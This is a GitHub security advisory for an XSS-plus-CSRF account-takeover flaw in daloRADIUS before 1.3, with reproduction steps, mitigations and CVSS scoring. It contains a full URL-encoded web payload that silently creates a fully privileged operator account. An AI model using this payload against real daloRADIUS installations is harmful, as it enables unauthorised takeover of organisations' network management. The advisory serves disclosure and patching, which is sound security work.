Skip to content

dalorRadius XXS+CSRF to Full Account Take over

High
lirantal published GHSA-c9xx-6mvw-9v84 Dec 6, 2022

Package

daloRADIUS (PHP)

Affected versions

<1.3

Patched versions

1.3

Description

dalorRadius XXS+CSRF to Full Account Take over

Platform : daloRadius

Repository : daloRadius github

Vulnerability : XSS+CSRF to create a new admin/operator account

Description

daloRadius 1.3 was vulnerable to XXS+CSRF to account takeover in the mng-del.php file because of an unescaped variable reflected in the DOM on line 116. I reported this vulnerability last week to all the maintainers of this repository and it was later found out by @filippolauria, the maintainer of this repository that this bug is not only found in line 116 but on a lot of other parts in the code, thanks to him for the quick and amazing patches.

Steps to Reproduce

  1. The vulnerabilitiy lies in the /mng-del.php file
  2. we can send a request like the following http://<domain>/mng-del.php?username[]=a&username[]=%3C%2Ftd%3E%3Cimg+src+onerror%3D%22alert(document.domain)%22%3E to pop a simple alert box.
  3. You can use the following payload to create a new operator account
  4. There are multiple forms which are vulnerable to CSRF
Payload: http://<domain>/mng-del.php?username[]=a&username[]=%3C%2Ftd%3E%3Cimg%20src%20onerror%3D%22fetch(%27http%3A%2F%2F<domain>%2Fconfig-operators-new.php%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%20%27application%2Fx-www-form-urlencoded%27%2C%7D%2Cbody%3A%27operator_username%3Dhacked%26operator_password%3Dhacked%26submit%3DApply%26firstname%3D%26lastname%3D%26title%3D%26department%3D%26company%3D%26phone1%3D%26phone2%3D%26email1%3D%26email2%3D%26messenger1%3D%26messenger2%3D%26notes%3D%26ACL_acct_custom_query%3D1%26ACL_acct_all%3D1%26ACL_acct_username%3D1%26ACL_acct_nasipaddress%3D1%26ACL_acct_active%3D1%26ACL_acct_ipaddress%3D1%26ACL_acct_date%3D1%26ACL_acct_hotspot_compare%3D1%26ACL_acct_hotspot_accounting%3D1%26ACL_acct_maintenance_delete%3D1%26ACL_acct_maintenance_cleanup%3D1%26ACL_acct_plans_usage%3D1%26ACL_bill_history_query%3D1%26ACL_bill_invoice_new%3D1%26ACL_bill_invoice_del%3D1%26ACL_bill_invoice_report%3D1%26ACL_bill_invoice_list%3D1%26ACL_bill_invoice_edit%3D1%26ACL_bill_merchant_transactions%3D1%26ACL_bill_payment_types_edit%3D1%26ACL_bill_payment_types_del%3D1%26ACL_bill_payment_types_new%3D1%26ACL_bill_payment_types_list%3D1%26ACL_bill_payments_list%3D1%26ACL_bill_payments_new%3D1%26ACL_bill_payments_edit%3D1%26ACL_bill_payments_del%3D1%26ACL_bill_plans_del%3D1%26ACL_bill_plans_new%3D1%26ACL_bill_plans_list%3D1%26ACL_bill_plans_edit%3D1%26ACL_bill_pos_list%3D1%26ACL_bill_pos_edit%3D1%26ACL_bill_pos_del%3D1%26ACL_bill_pos_new%3D1%26ACL_bill_rates_new%3D1%26ACL_bill_rates_del%3D1%26ACL_bill_rates_date%3D1%26ACL_bill_rates_list%3D1%26ACL_bill_rates_edit%3D1%26ACL_config_backup_managebackups%3D1%26ACL_config_backup_createbackups%3D1%26ACL_config_interface%3D1%26ACL_config_user%3D1%26ACL_config_lang%3D1%26ACL_config_logging%3D1%26ACL_graphs_overall_upload%3D1%26ACL_graphs_overall_download%3D1%26ACL_graphs_alltime_traffic_compare%3D1%26ACL_mng_rad_attributes_list%3D1%26ACL_mng_rad_attributes_del%3D1%26ACL_mng_rad_attributes_search%3D1%26ACL_mng_rad_attributes_import%3D1%26ACL_mng_rad_attributes_edit%3D1%26ACL_mng_rad_attributes_new%3D1%26ACL_mng_batch_add%3D1%26ACL_mng_batch_del%3D1%26ACL_mng_batch_list%3D1%26ACL_mng_rad_groupreply_search%3D1%26ACL_mng_rad_groupreply_edit%3D1%26ACL_mng_rad_groupcheck_list%3D1%26ACL_mng_rad_groupreply_del%3D1%26ACL_mng_rad_groupcheck_del%3D1%26ACL_mng_rad_groupcheck_new%3D1%26ACL_mng_rad_groupreply_list%3D1%26ACL_mng_rad_groupcheck_search%3D1%26ACL_mng_rad_groupcheck_edit%3D1%26ACL_mng_rad_groupreply_new%3D1%26ACL_mng_hs_edit%3D1%26ACL_mng_hs_del%3D1%26ACL_mng_hs_list%3D1%26ACL_mng_hs_new%3D1%26ACL_mng_rad_hunt_edit%3D1%26ACL_mng_rad_hunt_new%3D1%26ACL_mng_rad_hunt_del%3D1%26ACL_mng_rad_hunt_list%3D1%26ACL_mng_rad_ippool_new%3D1%26ACL_mng_rad_ippool_list%3D1%26ACL_mng_rad_ippool_del%3D1%26ACL_mng_rad_ippool_edit%3D1%26ACL_mng_rad_nas_edit%3D1%26ACL_mng_rad_nas_del%3D1%26ACL_mng_rad_nas_list%3D1%26ACL_mng_rad_nas_new%3D1%26ACL_mng_rad_profiles_duplicate%3D1%26ACL_mng_rad_profiles_edit%3D1%26ACL_mng_rad_profiles_new%3D1%26ACL_mng_rad_profiles_list%3D1%26ACL_mng_rad_profiles_del%3D1%26ACL_mng_rad_proxys_new%3D1%26ACL_mng_rad_proxys_list%3D1%26ACL_mng_rad_proxys_del%3D1%26ACL_mng_rad_proxys_edit%3D1%26ACL_mng_rad_realms_new%3D1%26ACL_mng_rad_realms_list%3D1%26ACL_mng_rad_realms_del%3D1%26ACL_mng_rad_realms_edit%3D1%26ACL_mng_rad_usergroup_edit%3D1%26ACL_mng_rad_usergroup_del%3D1%26ACL_mng_rad_usergroup_list%3D1%26ACL_mng_rad_usergroup_list_user%3D1%26ACL_mng_rad_usergroup_new%3D1%26ACL_mng_new%3D1%26ACL_mng_batch%3D1%26ACL_mng_new_quick%3D1%26ACL_mng_del%3D1%26ACL_mng_import_users%3D1%26ACL_mng_edit%3D1%26ACL_mng_list_all%3D1%26ACL_mng_search%3D1%26ACL_rep_newusers%3D1%26ACL_rep_lastconnect%3D1%26ACL_rep_history%3D1%26ACL_rep_online%3D1%26ACL_rep_topusers%3D1%26ACL_rep_logs_radius%3D1%26ACL_rep_logs_system%3D1%26ACL_rep_logs_boot%3D1%26ACL_rep_logs_daloradius%3D1%26ACL_rep_stat_server%3D1%26ACL_rep_stat_raid%3D1%26ACL_rep_stat_services%3D1%26ACL_rep_stat_ups%3D1%26ACL_rep_stat_cron%3D1%27%2C%7D).then(r%3D%3Er.text()).then(r%3D%3Ealert(r))%22%3E

Severity

daloRadius is used by a number of organizations for managing Hotspots and general-purpose ISP deployments. An attacker can create an admin/operator account using one click and take over the network of the organization. An attacker will be able to create new user accounts and delete existing ones and change network configurations.

Mitigation

  1. The CSRF vulnerability can be mitigated by making the daloRadius session cookie to samesite=Lax or by the implimentation of a CSRF token in all forms
  2. We can prevent the XSS by escaping it or by introducing a Content-Security policy

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2022-23475